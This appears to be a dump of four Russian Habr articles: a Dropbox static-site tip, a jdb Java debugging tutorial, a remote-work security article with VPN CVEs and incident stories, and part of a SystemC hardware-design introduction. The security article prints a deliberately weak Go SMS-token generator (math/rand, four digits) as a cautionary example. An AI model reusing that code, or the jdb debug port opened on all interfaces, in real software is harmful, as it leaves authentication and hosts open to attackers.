1. Создайте в папке Dropbox/Public папку, скажем, Site.
2. Создайте внутри нее нужные вам файлы, например index.html и style.css — да-да, Dropbox правильно отдаст их браузеру, а не предложит сохранить на свой компьютер. Можно использовать html + css (+ конечно javascript) + ваши данные (картинки, xml, прочее). Самое важное — достаточно использовать относительую адресацию, то есть, скажем, чтобы подключить css-стили, вы можете просто написать
3. Извлеките с помощью контекстного меню public link на основной html, например, index.html. Ссылка будет иметь вид [dl.dropbox.com/u/1234567/Site/index.html](http://dl.dropbox.com/u/1234567/Site/index.html), где 1234567 — некий id, связанный с вашим аккаунтом.
4. В принципе, уже всё готово, осталось только приправить ваше творение нормальным адресом. Раз уж мы пользуемся бесплатным Dropbox, то и короткий понятный адрес мы тоже хотим получить быстро и бесплатно. Для этого идем на сайт любой подходящей сокращалки ~~(я предпочитаю [tr.im](http://tr.im)), где можно указать *желаемый* сокращенный адрес. Вуаля, теперь ваш минисайт доступен по адресу, скажем, http://tr.im/projectname.~~ — сервис tr.im уже давно не работает. Мне понравилась альтернатива, предложенная [Santiago26](https://habrahabr.ru/users/santiago26/): сокращалка ссылок [sn.im](http://sn.im), которая тоже умеет делать ссылку с *желаемым* текстом.
#### Приятности
После того, как файлы синхронизированы, они уже хранятся в облаке, а ваш минисайт становится автономным. Кроме того, он легко выдерживает хабраэффект (ещё бы, ведь он написан только с помощью html+css+js, то есть все скрипты выполняются на стороне пользователя, а сервер озабочен только отдачей файлов). Поправить что-то на страничке или добавить нечто новое проще простого — вы просто работаете с локальными файлами в вашей Dropbox-папке, а на сервер они отправляются на фоне (то есть можно не думать о ftp-клиенте).
Ну и последний, но немаловажный плюс — решение одинаково хорошо подходит пользователям разных операционных систем.
update: Права на доступ к файлу должны быть drwxr-xr-x (комментарий от [TheMengzor](https://habrahabr.ru/users/themengzor/)). | https://habr.com/ru/post/83418/ | null | ru | null |
# Отладка Java-приложений из командной строки
Некоторые ошибки трудно воспроизвести на вашем персональном компьютере, но их легко воспроизвести на производственных или тестовых машинах. Это обычная ситуация, с которой часто сталкиваются профессиональные Java-разработчики. Для отладки таких проблем OpenJDK предоставляет два инструмента: `remote debugging` и `jdb`. Эта статья посвящена `jdb`.
Для приложений Java типичными производственными и тестовыми машинами являются серверы Linux без графического интерфейса, поэтому доступны только инструменты командной строки. И мы не можем использовать профессиональные IDE, такие как IntelliJ IDEA, Eclipse или Apache NetBeans IDE.
В таких сценариях мы можем использовать `jdb`. `jdb` - это отладчик командной строки, входящий в состав OpenJDK.
> Это перевод руководства для начинающих. Очевидно эксперты все это знают и им не стоит тратит время на его чтение.
>
>
#### Отладка Java с помощью утилиты "jdb"
jdb расположена в каталоге jdk/bin. Она использует интерфейс отладки Java (JDI) для запуска и подключения к целевой JVM. Интерфейс отладки Java (JDI) предоставляет интерфейс языка программирования Java для отладки приложений на языке программирования Java. JDI является частью архитектуры отладчика платформы Java ([**Java Platform Debugger Architecture**](https://docs.oracle.com/en/java/javase/16/docs/specs/jpda/architecture.html)).
В этом разделе мы рассмотрим, как подключить jdb к java-приложению и начать отладку и мониторинг.
#### Команда jdb
Формат команды jdb:
```
jdb [options] [classname] [arguments]
options: This represents the jdb command-line options (e.g. attach, launch).
classname: This represents the name of the main class to debug.
arguments: This represents the arguments that are passed to the main() method of the class.
```
#### Пример Java приложения для отладки
Ниже приведен пример Java класса, который мы собираемся отладить и попытаться понять различные доступные функции. Важно скомпилировать этот класс с параметром «-g» (javac -g Test.java), который генерирует всю отладочную информацию, включая локальные переменные. По умолчанию генерируется только информация о номере строки и исходном файле.
```
public class Test
{
public static void main(String[] args)
{
System.out.println("First Line of main function");
System.out.println("Second Line of main function");
System.out.println("Third Line of main function");
int i=0;
System.out.println("i: " + i);
i = 2;
System.out.println("i: " + i);
while(true)
{
}
}
}
```
#### Подключение jdb к java-приложению
Приведенная ниже команда - это наиболее распространенный способ запуска приложения с отладчиком jdb. Здесь мы не передаем никаких параметров jdb, мы передали только имя класса, который не требует никаких аргументов:
```
jdb Test
```
Таким образом, мы запускаем выполнение основного класса «Test» аналогично тому, как мы запускаем выполнение основного класс в среде IDE. jdb останавливает JVM перед выполнением первой инструкции этого класса.
Другой способ использовать команду jdb для подключения ее к уже запущенной JVM. Синтаксис для запуска JVM с портом отладчика:
```
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 Test
```
Чтобы подключить jdb к этому удаленному jvm, используйте синтаксис ниже:
```
jdb -attach 5005
```
В этой статье мы не будем подробно рассматривать удаленную отладку.
**Отладка и мониторинг**
Ниже приводится команда для присоединения jdb к Java-программе Test:
```
/jdk/bin/jdb Test
Initializing jdb ...
>
```
Установите точку останова в строке 5, используя команду «stop», как показано ниже:
```
> stop at Test:5
Deferring breakpoint Test:5.
It will be set after the class is loaded.
>
```
Запустите выполнение основного класса приложения с помощью команды "run":
```
> run
run Test
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
>
VM Started: Set deferred breakpoint Test:5
Breakpoint hit: "thread=main", Test.main(), line=5 bci=0
5 System.out.println("First Line of main function");
```
Выполнить текущую строку с помощью команды «step»:
```
main[1] step
> First Line of main function
Step completed: "thread=main", Test.main(), line=6 bci=8
6 System.out.println("Second Line of main function");
```
Выполнить текущую строку с помощью команды «step»:
```
main[1] step
> Second Line of main function
Step completed: "thread=main", Test.main(), line=7 bci=16
7 System.out.println("Third Line of main function");
```
Печать локальной переменной i с помощью команды "print":
```
main[1] print i
i = 0
```
Печать всех локальных переменных в текущем фрейме стека с использованием команды "locals":
```
main[1] locals
Method arguments:
args = instance of java.lang.String[0] (id=841)
Local variables:
i = 0
```
Выгрузите стек потока, используя команду "where":
```
main[1] where
[1] Test.main (Test.java:10)
```
Выдать список потоков в запущенном приложении, используя команду "threads":
```
main[1] threads
Group system:
(java.lang.ref.Reference$ReferenceHandler)804 Reference Handler running
(java.lang.ref.Finalizer$FinalizerThread)805 Finalizer cond. waiting
(java.lang.Thread)806 Signal Dispatcher running
(java.lang.Thread)803 Notification Thread running
Group main:
(java.lang.Thread)1 main running
Group InnocuousThreadGroup:
(jdk.internal.misc.InnocuousThread)807 Common-Cleaner cond. waiting
```
Продолжить выполнение с точки останова, используя команду `cont`:
```
main[1] cont
> i: 0
i: 2
```
Все доступные команды jdb можно получить используя команду "help":
```
connectors -- list available connectors and transports in this VM
run [class [args]] -- start execution of application's main class
threads [threadgroup] -- list threads
thread -- set default thread
suspend [thread id(s)] -- suspend threads (default: all)
resume [thread id(s)] -- resume threads (default: all)
where [ | all] -- dump a thread's stack
wherei [ | all]-- dump a thread's stack, with pc info
up [n frames] -- move up a thread's stack
down [n frames] -- move down a thread's stack
kill -- kill a thread with the given exception object
interrupt -- interrupt a thread
print -- print value of expression
dump -- print all object information
eval -- evaluate expression (same as print)
set = -- assign new value to field/variable/array element
locals -- print all local variables in current stack frame
classes -- list currently known classes
class -- show details of named class
methods -- list a class's methods
fields -- list a class's fields
threadgroups -- list threadgroups
threadgroup -- set current threadgroup
stop [go|thread] []
-- set a breakpoint
-- if no options are given, the current list of breakpoints is printed
-- if "go" is specified, immediately resume after stopping
-- if "thread" is specified, only suspend the thread we stop in
-- if neither "go" nor "thread" are specified, suspend all threads
-- if an integer is specified, only stop in the specified thread
-- "at" and "in" have the same meaning
-- can either be a line number or a method:
-- :
-- .[(argument_type,...)]
clear .[(argument_type,...)]
-- clear a breakpoint in a method
clear : -- clear a breakpoint at a line
clear -- list breakpoints
catch [uncaught|caught|all] |
-- break when specified exception occurs
ignore [uncaught|caught|all] |
-- cancel 'catch' for the specified exception
watch [access|all] .
-- watch access/modifications to a field
unwatch [access|all] .
-- discontinue watching access/modifications to a field
trace [go] methods [thread]
-- trace method entries and exits.
-- All threads are suspended unless 'go' is specified
trace [go] method exit | exits [thread]
-- trace the current method's exit, or all methods' exits
-- All threads are suspended unless 'go' is specified
untrace [methods] -- stop tracing method entrys and/or exits
step -- execute current line
step up -- execute until the current method returns to its caller
stepi -- execute current instruction
next -- step one line (step OVER calls)
cont -- continue execution from breakpoint
list [line number|method] -- print source code
use (or sourcepath) [source file path]
-- display or change the source path
exclude [, ... | "none"]
-- do not report step or method events for specified classes
classpath -- print classpath info from target VM
monitor -- execute command each time the program stops
monitor -- list monitors
unmonitor -- delete a monitor
read -- read and execute a command file
lock -- print lock info for an object
threadlocks [thread id] -- print lock info for a thread
pop -- pop the stack through and including the current frame
reenter -- same as pop, but current frame is reentered
redefine
-- redefine the code for a class
disablegc -- prevent garbage collection of an object
enablegc -- permit garbage collection of an object
!! -- repeat last command
-- repeat command n times
# -- discard (no-op)
help (or ?) -- list commands
dbgtrace [flag] -- same as dbgtrace command line option
version -- print version information
exit (or quit) -- exit debugger
: a full class name with package qualifiers
: a class name with a leading or trailing wildcard ('*')
: thread number as reported in the 'threads' command
: a Java(TM) Programming Language expression.
```
Поддерживается весьма стандартный синтаксис команд.
Команды запуска могут быть помещены в файлы "jdb.ini" или ".jdbrc" в каталогах user.home или user.dir.
Выход из jdb:
```
quit
```
#### Заключение
OpenJDK предоставляет множество замечательных инструментов для устранения неполадок и диагностики Java-приложений. Эти инструменты помогут вам быстро исправить проблемы в рабочем приложении. jdb может быть большим подспорьем, когда нет другого способа, кроме отладки приложения, а ваша любимая IDE недоступна. Знание таких функций поможет вам улучшить задание Java.
Чтобы помочь вам, автор статьи написал электронную книгу [**5 steps to Best Java Jobs**](https://jfeatures.com/). Вы можете загрузить это пошаговое руководство бесплатно! | https://habr.com/ru/post/564614/ | null | ru | null |
# Пока все дома: как защитить инфраструктуру IT-компании на удалёнке
Карантин заставил IT-отрасль перейти на удаленку. Оказалось, что инфраструктура многих компаний к такому не готова — удаленный доступ дается на скорую руку, а VPN-сервера конфигурируют за пару дней. А еще дистанционная работа обостряет человеческий фактор, из-за которого продуманная безопасность инфраструктуры может дать течь в самых ожидаемых местах. Вместе со [Skolkovo Cybersecurity Challenge](https://u.tmtm.ru/sybersec-challenge) мы собрали несколько ошибок IT-компаний, на которых можно научиться соблюдать цифровую гигиену.
---
Эксперты прогнозируют рост кибератак. Если в [2019 году](https://www.imperva.com/resources/reports/CyberEdge-2019-CDR-Report-v1.1.pdf) 78% взломов завершились успехом злоумышленника, то в 2020-м хакерам удастся на 15% больше.
[Статистика](https://www.csoonline.com/article/3153707/top-cybersecurity-facts-figures-and-statistics.html) беспощадна:
* 94% вредоносных программ доставляются по электронной почте
* фишинговые атаки составляют более 80% зарегистрированных инцидентов безопасности
* 60% нарушений были связаны с уязвимостями, для которых уже вышел патч, но его не применили.
По [данным](https://www.imperva.com/resources/reports/CyberEdge-2019-CDR-Report-v1.1.pdf) Imperva, количество кибератак с каждым годом растет по таким векторам:
Переход на удаленную работу хакерам только на руку. Подключение по VPN может открыть уязвимости для всех перечисленных типов атак, ведь в нем задействованы сети, серверы, рабочие станции и сами бдительные сотрудники.
Как перевести сотрудников на дистанционную работу, чтобы не пополнить статистику, и про что не забыть, рассмотрим на примере историй из жизни типовых компаний.
1. За безопасность компании отвечает каждый сотрудник
Большинство компаний верит, что с ними ничего такого не случится: их не атакуют, а если и атакуют, то сотрудники смогут противостоять злоумышленникам. Но человеческий фактор никто не отменял. При резком переходе на удаленку сотрудники могут забыть об основах информационной безопасности и банально открыть странное письмо. А ведь именно по почте доставляется большинство malware, как показывают [исследования](https://enterprise.verizon.com/en-gb/resources/reports/dbir/2019/results-and-analysis/) Verizon среди зафиксированных инцидентов ИБ.
Кстати, [статистика](https://www.checkpoint.com/downloads/resources/cyber-security-report-2020.pdf) популярности различных семейств malware следующая:
 Семейства вредоносного ПО в мире
Исследования GroupIB [показали](https://www.group-ib.ru/media/covid-phishing-campaings/), что фишинговые рассылки активно пользуются пандемией. Рассылают «карты с распространением коронавируса», «рекламу вакцины», предложения сделать «тесты на наличие антител». По словам [экспертов](https://twitter.com/GroupIB/status/1250362776339599363?ref_src=twsrc%5Etfw%7Ctwcamp%5Eembeddedtimeline%7Ctwterm%5Eprofile%3AGroupIB%7Ctwcon%5Etimelinechrome&ref_url=https%3A%2F%2Fwww.group-ib.ru%2Fmedia%2Fcovid-phishing-campaings%2F), спрос на конструкторы фишинговых сайтов (Phishing Kit) в период карантина увеличился в два раза. А Gmail каждый день [блокирует](https://cloud.google.com/blog/products/identity-security/protecting-against-cyber-threats-during-covid-19-and-beyond) более 100 млн фишинговых имейлов, связанных с COVID-19.
История ошибки: привет из отпуска
Одна из сотрудниц HR средней отечественной компании вернулась после отпуска из-за границы и попала под двухнедельную изоляцию. На ее почту пришло письмо якобы от отеля, в котором сказано, что среди ее соседей были заболевшие. «Прочитайте про симптомы и заполните эту форму, проверим ваше здоровье». На эмоциях девушка перешла по ссылке.
Казалось бы, эйчары находятся в изолированном сегменте сети и у них нет доступа к важной информации. Но у сотрудницы был доступ к принтеру с уязвимым софтом. Безопасники давно хотели устранить эту дырку, но руки все до этого не доходили. В итоге через принтер злоумышленник получил доступ к инфраструктурным серверам с базами данных клиентов и сотрудников. Это был таргетированный социальный инжиниринг — по фото в Instagram легко вычислить отель и создать домен с похожим названием. Немного коронавирусной паники, и доступ открыт.
Как защитить компанию
Чтобы ваши сотрудники не стали жертвой таких почтовых атак, лучше всего:
* создать памятки с контактами для экстренной связи с ИТ- и ИБ-службами;
* провести тренинг по соблюдению правил информационной безопасности при подключении из дома;
* провести тестирование сотрудников и ложный фишинг.
Также не забывайте о безопасности устройств, которыми пользуются коллеги во время дистанционной работы. Если «скомпрометированная» техника используется для подключения по удаленке, злоумышленник может сделать практически все, что не запрещено обычному сотруднику.
К сожалению, даже такой способ защиты, как многофакторная аутентификация, здесь уже не поможет. Например, хакеры могут дождаться, пока законный пользователь пройдет проверку подлинности в веб-интерфейсе SSL-VPN, а затем украсть созданный cookie сеанса. Если он привязан к IP-адресу пользователя, злоумышленник может пустить свои соединения через рабочую станцию жертвы как через прокси.
Чтобы избежать последствий, действуйте так же, как и при борьбе с распространением коронавируса. Изолируйте очаг опасности (в данном случае — юзера) и детектируйте все его действия:
* разграничьте доступ к сервисам для групп пользователей с минимальным набором привилегий;
* сегментируйте сеть, чтобы каждый хост попадал при подключении в изолированную зону с необходимыми доступами.
2. Система удаленного доступа защищает компанию, а кто защищает систему удаленного доступа?
2019 год научил нас тому, что системы удаленного доступа небезопасны. В прошлом году большинство поставщиков SSL-VPN зацепила хотя бы одна уязвимость, позволяющая злоумышленникам проникнуть в защищенную сеть. Вот только опубликованные уязвимости:
* NetScaler (CVE-2019-19781) позволяет получить доступ к внутренним веб-приложениям и проводить атаки с сервера Citrix на другие ресурсы внутренней сети атакуемой компании;
* Fortinet (CVE-2018-13382) разрешает изменить пароль пользователя веб-портала при помощи HTTP-запросов;
* Pulse Secure (CVE-2019-11510) без авторизации выдает доступ к произвольным файлам и конфигурационной информации, отправляя на сервер специально сформированные HTTP-запросы;
* SonicWall (CVE-2019-7482) создает переполнение буфера, позволяющее выполнять произвольный код;
* Palo Alto (CVE-2019-1579) дает возможность выполнить код без аутентификации, отправляя на устройство специально сформированные запросы.
Что касается опенсорса, стоит обратить внимание на OpenVPN (CVE-2020-9442) с небезопасными пермишенами к папке с драйверами Win10. Эта уязвимость позволяет копировать туда вредоносные dll. Вспомним и Bluekeep (CVE-2019-0708) для RDP, который дает взломщику полный контроль над компьютером с Windows.
Двухфакторная аутентификация, которая не сработала
Обнаруженные в июле-августе 2019 года уязвимости RCE Palo Alto и Fortigate получили патчи еще летом, но даже они не помешали взломщикам. Так, в одном среднем российском банке ввели двухфакторную аутентификацию через приходящий в SMS токен. Он генерировался этим кодом:
```
import (
"fmt"
"math/rand"
"time"
)
type CodeGen struct {
r *rand.Rand
lifetime time.Duration
}
func NewCodeGen(lifetime time.Duration) *CodeGen {
return &CodeGen{
lifetime: lifetime,
r: rand.New(rand.NewSource(time.Now().UnixNano())),
}
}
func (cg CodeGen) Generate() (code string, duration time.Duration) {
return fmt.Sprintf("%04d", rand.Intn(10000)), cg.lifetime
}
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
Токен жил 24 часа и генерировался как rand.Intn(10000). Простой брут четырехзначных чисел решил злоумышленникам эту задачу за три часа. Эксплуатация RCE тоже не сильно замедлила преступников. В итоге хакеры попали во внутреннюю сеть банка, где хранились бухгалтерские программы и система ДБО.
Как защитить компанию
А перестраховаться и не допустить взлома можно было так:
* проверить, что системы удаленного доступа находятся в актуальном состоянии, а на все серверы установлены последние патчи;
* убедиться, что двухфакторная аутентификация настроена правильно.
Возможно, стоило отказаться от самописной реализации: для второго фактора подходит биометрическая аутентификация или приложения вроде Google Authenticator, RSA Token и др.
3. Уязвимая инфраструктура и чем она опасна
По данным [отчета](https://www.ptsecurity.com/ru-ru/research/analytics/cybersecurity-threatscape-2019/#id14) Positive Technologies, основным объектом кибератак остается инфраструктурное оборудование.
 Объекты атаки
А статистика компании Imperva [показывает](https://www.imperva.com/resources/reports/CyberEdge-2019-CDR-Report-v1.1.pdf), как относятся к средствам обеспечения инфраструктурной безопасности в компаниях:
Если проанализировать указанные выше данные, становится понятно: при переводе сотрудников на удаленку нужно обеспечить безопасность сетевого периметра, разграничить доступ и установить последние версии ПО на внутренних ресурсах.
Последний торрент
В одной компании всем сотрудникам раздали доступ к VPN и отправили на карантин по домам. Люди подключались днем и работали. Когда рабочий день заканчивался, многие не отключались от VPN, продолжая использовать компьютер для развлечений. Сотрудники смотрели фильмы и качали торренты, съедая весь канал. В эти моменты сайт фирмы падал.
Как защитить компанию
Чтобы не столкнуться с такой проблемой, проверьте, что у основного интернет-канала есть достаточная пропускная способность и настроены резервные каналы — на всякий случай.
Месть искусственного интеллекта
Один сисадмин работал из дома, пользуясь двумя ноутбуками. Ему было неудобно подключаться к сети компании с каждого из них, и он настроил OpenVPN на роутере. После этого доступ ко внутренним документам был открыт даже с телефона.
Проблемы начались, когда выяснилось, что интернетом админа пользовалась вся его семья, соседи и даже их робот-пылесос, входивший в бот-сеть из IoT-устройств. Компания администратора использовала облако VMWare, где строила кластер с одним белым IP-адресом. В интернет весь трафик выходил с этим адресом.
Когда коварный робот-пылесос получил доступ к сети компании, с ее IP начались активные DDoS-атаки. Провайдер обратил внимание на активность и жалобы пользователей и заблокировал подозрительный адрес.
Как защитить компанию
Проблема появилась, потому что весь трафик проходил через офис. Ботнет использовал мощности компании. А можно было:
* убедиться, что сотрудник ограничен одной активной сессией;
* проверить разумность настройки системы удаленного доступа.
4. У меня все ходы записаны
Если каждое событие попадает в SOC, отследить дыру в безопасности становится легче. Но на практике бывает так, что даже когда VPN-серверы обновлены, правильно сконфигурированы и размещены в DMZ, они практически не контролируются SOC. В результате данные об уязвимостях теряются. [Оказывается](https://www.zdnet.com/article/businesses-take-over-six-months-to-detect-data-breaches/), большинству компаний после кибератак понадобилось более шести месяцев, чтобы заметить утечку информации, а затем еще столько же на расследование инцидента.
Восставшие из уволенных
В одной известной компании объявили карантин. Сотрудников много, и лицензий на вендорский VPN не хватило. Решили поднять OpenVPN.
Загруженные администраторы наспех сконфигурировали сервер, предусмотрели все описанные рекомендации, поставили последнюю версию, собрали логи и добавили двухфакторную аутентификацию. Правда, в спешке забыли публикацию CRL.
Второй фактор на основе биометрии продолжал впускать, если сертификат признавался валидным. Система перестала считать уволенных сотрудников таковыми, и открыла им доступ в сеть компании. История закончилась хорошо: всех спас SOC. Через некоторое время сработал алерт о подключении уволенных сотрудников по показаниям AD.
Как защитить компанию
Функции SOC в период удаленной работы должны быть активированы. Не забудьте убедиться, что:
* персонал SOC не смыкает глаз и мониторит все аномальные активности;
* 100% событий подробно логируются, есть свободное место на диске и его хватит, чтобы хранить данные ближайшие полгода.
Еще важно смоделировать планы реагирования для сценариев с компрометацией и взломом VPN. Поведенческая аналитика на основе машинного обучения помогает выявить аномалии, которые могут указывать на подозрительную активность VPN:
* неудачные VPN логины;
* первое VPN-подключение с неизвестного устройства;
* увеличение количества запросов к данным компании;
* аномальные VPN-соединения от пользователя — нетипичные устройства и локации;
* аномальная продолжительность сеанса VPN;
* VPN-соединение с анонимного прокси-сервера;
* аномальный объем данных, загруженных во время сеанса VPN;
* MFA с нового устройства;
* VPN-доступ с отключенной учетной записи;
* вредоносный IP-адрес источника VPN.
Дистанционная работа — это вызов для систем безопасности. Но заодно это хороший повод перетряхнуть все политики, пересмотреть настройки и проверить, насколько служба ИБ готова к неожиданностям.
Если у вас есть свой стартап или интересный проект по информационной безопасности, до 7 мая включительно подавайте заявку на участие в [Skolkovo Cybersecurity Challenge](https://u.tmtm.ru/sybersec-challenge). Жюри конкурса ищет перспективные технологические решения на рынке кибербезопасности среди разработок и идей, еще не дошедших до рынка, но способных трансформировать отрасль и стать лидерами.
Участники смогут найти инвесторов и каналы продаж в виде вендоров и интеграторов, являющихся партнерами конкурса. Решения с готовым MVP проведут пилоты в крупнейших компаниях и холдингах страны. Кроме того, победители имеют возможность получить гранты до 5 млн руб. | https://habr.com/ru/post/498338/ | null | ru | null |
# Разработка цифровой аппаратуры на C++/SystemC глазами SystemVerilog программиста
SystemC это библиотека для C++ позволяющая моделировать всевозможные аппаратные системы на различном уровне абстракции. Поддерживается как традиционное дискретно-событийное моделирование, привычное программистам на Verilog и VHDL, так и аналоговое моделирование в духе SPICE/Verilog AMS. В комплект также входит библиотека и методология для виртуального прототипирования, библиотеки для написания тестовых окружений и верификации с использованием рандомизированных тестов.
В этой я расскажу о синтезируемом подмножестве SystemC, сравнивая его с синтезируемым SystemVerilog. Сам я пользуюсь SystemC уже где-то 3 года, а до этого несколько лет писал на Verilog/SystemVerilog. Попытаюсь охватить предмет с разных сторон: начиная с философских рассуждений о причинах возникновения SystemC, краткого обзора экосистемы и инструментария и заканчивая практическими примерами синтаксиса и семантики.
Подразумевается, что читатели знакомы с Verilog и C++.
#### Размышления о причинах возникновения SystemC
За свою длинную историю индустрия разработки электроники нашла применение множеству языков программирования и породила огромное количество DSLей (Domain-specific languages). Если представить себе гипотетического full-stack аппаратчика (по аналогии с full-stack веб-программистом), который в одиночку может спроектировать современную микросхему, от алгоритма до реализации в кремнии, то ему помимо знания матчасти (арихитектура эвм, электроника, алгоритмы из прикладной области и др.) придется владеть целой кучей разнообразных языков: Matlab для разработки алгоритмов, Verilog или VHDL для описания RTL модели, SystemVerilog/E/Vera для написания тестов и тестового окружения, TCL для написания скриптов управляющих САПР пакетами, SPICE/Verilog-AMS для моделирования аналоговых подсистем, SKILL или Python для генерации топологий, Си/Asm для написания всевозможного firmware. При желании список можно продолжать и дальше.
Конечно в природе такие универсальные инженеры практически не встречаются и проект делают несколько команд, каждая из которых хорошо разбирается в своей достаточно узкой области. Однако, очень часто приходится совмещать работу на нескольких этапах разработки. К примеру, легко представить, что человек написавший RTL модель IP блока напишет для него и набор тестов для верификации. Это в свою очередь создает запрос на создание универсальных языков, пригодных для решения смежных задач.
В мире цифровой микроэлектроники таким универсальным языком стал SystemVerilog, который помимо классического Verilog (с небольшими расширениями), содержит в себе объектно-ориентированный язык для написания тестовых окружений, язык утверждений (assertions) для формальной верификации а так же специальные конструкции для рандомизации и анализа тестового покрытия. В каком-то смысле SystemVerilog это не совсем новый язык, а скорее конгломерат языков, склеенный общим синтаксисом.
Но что если мы хотим большего? Язык на котором помимо всего вышеперечисленного можно разрабатывать алгоритмы, писать встроенное ПО, создавать виртуальные прототипы. Не пора ли добавить к SystemVerilog еще пару DSL?
*We need to go deeper*
Существует однако и другой подход: вместо придумывания всё новых DSLей, можно создавать программные библиотеки, предназначенные для решения специального класса задач. Таким путём пошли создатели SystemC — библиотеки для C++, позволяющей моделировать цифровую аппаратуру. Хотя в каком-то смысле SystemC является DLS’ем, созданным средствами метапрограммирования на C++, сам C++ при этом не расширяется новыми синтаксическими конструкциями. Метапрограммирование широко применяется и в других C++ библиотеках.
У такого подхода существуют свои плюсы и минусы. Основной плюс C++ в его универсальности: сегодня ты можешь писать хардвер на SystemC, а завтра GUI на Qt. (Хотя придется потратить достаточно много времени на изучение каждой из этих библиотек). Основной минус в синтаксисе: код на чистом DSL будет намного красивей, особенно если нужно сделать что-то простое (для простых модулей код на Verilog будет компактней и проще, чем аналогичный код на SystemC).
Помимо недостаточной универсальности у Verilog есть и другая проблема: он очень низкоуровневый. В каком-то смысле синтезируемый Verilog это макроассемблер для аппаратуры ( если ассемблер для аппаратуры это логическая схема). Новые конструкции, появившиеся в синтезируемом SystemVerilog не решают эту проблему низкоуровневости. Очень часто приходится прибегать к использованию всевозможных генераторов кода на Verilog, [например скриптов на Python](http://habrahabr.ru/company/metrotek/blog/263005/). Среди моих коллег популярной была идея вставлять код на Perl внутрь модулей на Verilog. Полученный таким путём гибрид назвали перлилогом. Думаю многие знакомы с [Verilog-mode для emacs](http://www.veripool.org/wiki/verilog-mode), который умеет генерировать Verilog код для соединения модулей.
По сравнению с SystemVerilog, синтезируемый SystemC позволяет гораздо больше. Да, вы можете писать синтезируемый код с классами! При решении сложных задач средства абстракции C++ позволяют писать более элегантный (простой и компактный) код.
#### Экосистема SystemC
Рассмотрим основные программные инструменты, с которыми приходится иметь дело разработчикам на SystemVerilog и SystemC.
##### Среда разработки
*SystemVerilog:*
Большинство программистов на Verilog для написания кода используют текстовый редактор: поддержка Verilog есть в Vim, Emacs, Sublime Text, Notepad++, Slickedit и других популярных редакторах. Прикладным программистам написание кода в тестовом редакторе может показаться архаизмом: большинство из них используют умные IDE с авто-подсказками, автоматизированными рефакторингами, удобной навигацией. Однако в мире синтезируемого Verilog огромной пользы от использования IDE нет: это объясняется тем что вся функциональность разбивается на совершенно независимые друг от друга модули. Весь контекст с которым работает разработчик отдельного модуля обычно умещается в один файл. Совсем другое дело с написанием тестбенчей на SystemVerilog, здесь вполне может пригодится IDE, такая как [DVT](http://www.dvteclipse.com/).
*SystemC:*
При написании синтезируемого C++/SystemC простым текстовым редактором уже не обойтись. К счастью, существует множество C++ IDE (в том числе и бесплатных), которые в состоянии справиться с кодом на SystemC. Например, можно использовать привычную многим [MS Visual Studio](https://www.visualstudio.com/). Я долгое время пользовался [Eclipse CDT](https://eclipse.org/cdt/) и [Netbeans](https://netbeans.org/features/cpp/) для написания кода на C++/SystemC. Последнее время пробую [Clion от Jetbrains](https://www.jetbrains.com/clion/).
*Написание SystemC кода в Clion*
##### Симуляция и отладка
*SystemVerilog:*
Для симуляции и отладки кода на Verilog используется HDL симулятор. Существуют как бесплатные (IcarusVerilog), так и платные симуляторы. По сравнению с бесплатным симулятором коммерческие решения обеспечивают большую скорость симуляции и предоставляют удобные графические среды для отладки.
*SystemC:*
C SystemC ситуация в целом похожа: можно использовать референсный симулятор и GDB для отладки, но когда нужно отлаживать какой-то более-менее сложный сигнальный протокол приходится пользоваться одним из коммерческих симуляторов.
*Отладка SystemC в симуляторе*
##### Синтез
*SystemVerilog:*
Синтез SystemVerilog поддерживается основными FPGA и ASIC вендорами. В том числе существуют и бесплатные версии пакетов для FPGA, чем пользуются многие российские вузы для обучения студентов азам цифровой схемотехники.
*SystemC:*
Для синтеза SystemC используются специальные пакеты высокоуровневого синтеза (англ. High-level Synthesis, HLS). Что в них такого высокоуровневого спросите вы? Всё дело в том, что HLS пакеты, помимо традиционного RTL кода написанного на SystemC умеют синтезировать и чисто поведенческий (“untimed”) код, автоматически вставляя регистры, там где это необходимо.
Большинство HLS пакетов могут синтезировать и чистый C/C++, SystemC используется только в тех случаях, когда нужно добавить модульность и сигнальные интерфейсы. В каком-то смысле синтез с C/C++ является технологией для разработки акселераторов, конкурирующей с [синтезом с OpenCL](http://habrahabr.ru/company/metrotek/blog/269009/). Хотя при использовании SystemC мы не ограничены только разработкой акселераторов, а можем разрабатывать совершенно любые цифровые схемы. Чуть позже я расскажу про HLS немного подробнее.
На выходе HLS пакета мы обычно имеем привычные RTL модули на Verilog, которые затем синтезируются с помощью Verilog синтезатора.
К сожалению, все существующие HLS с поддержкой SystemC исключительно коммерческие и стоят много денег. Бесплатных версий нет, хотя университетам всё продают с большой скидкой.
Лучшими средствами синтеза SystemC на рынке являются [Stratus от Cadence](http://www.cadence.com/products/sd/stratus/pages/default.aspx) и [Catapult C от Calypto/Mentor Graphics](http://calypto.com/en/products/catapult/overview/).
##### Другие EDA пакеты для SystemC
Помимо написания синтезируемого кода, SystemC достаточно широко используется для виртуального прототипирования. Создание виртуальных прототипов (эмуляторов) на C++/SystemC используется в пакетах [Synopsys Virtualizer](http://www.synopsys.com/Prototyping/VirtualPrototyping/Pages/virtualizer.aspx), [Mentor Graphics Vista](https://www.mentor.com/products/fv/vista), [Cadence Virtual System Platform](http://www.cadence.com/products/sd/virtual_system/pages/default.aspx). При этом нельзя сказать что SystemC на этом рынке является доминирующим решением: существуют и продукты SystemC не использующие, например [WindRiver Simics](http://www.windriver.com/products/simics/).
На этом обзорная часть статьи завершается. Пришло время погрузиться в код.
*Погружение в код*
#### Синтезируемый SystemC. Базовые строительные блоки
Не буду здесь полностью описывать весь стандарт SystemC, пройдусь только по самому необходимому. Все примеры будут построены на сравнении SystemVerilog и SystemC. ##### Типы данных
*SystemVerilog:*
Основным типом используемым в синтезируемом SystemVerilog является тип **logic**. Переменная типа **logic** может принимать 4 значения: 1, 0, x, z. **x** означает неизвестное значение. **z** означает высокоимпедансное состояние. Можно создавать вектора типа logic различной длины, например:
```
logic [1:0] data; // 2-х битный вектор
initial begin
data = 7;
$display(data);
end
```
Выведет в консоль:3
*SystemC:*
В SystemC тоже есть типы с 4-мя состояниями. Однако на практике в основном используются типы с 2-мя состояниями 1 и 0. Основная причина — типы с 2-мя состояниями симулируются быстрее.
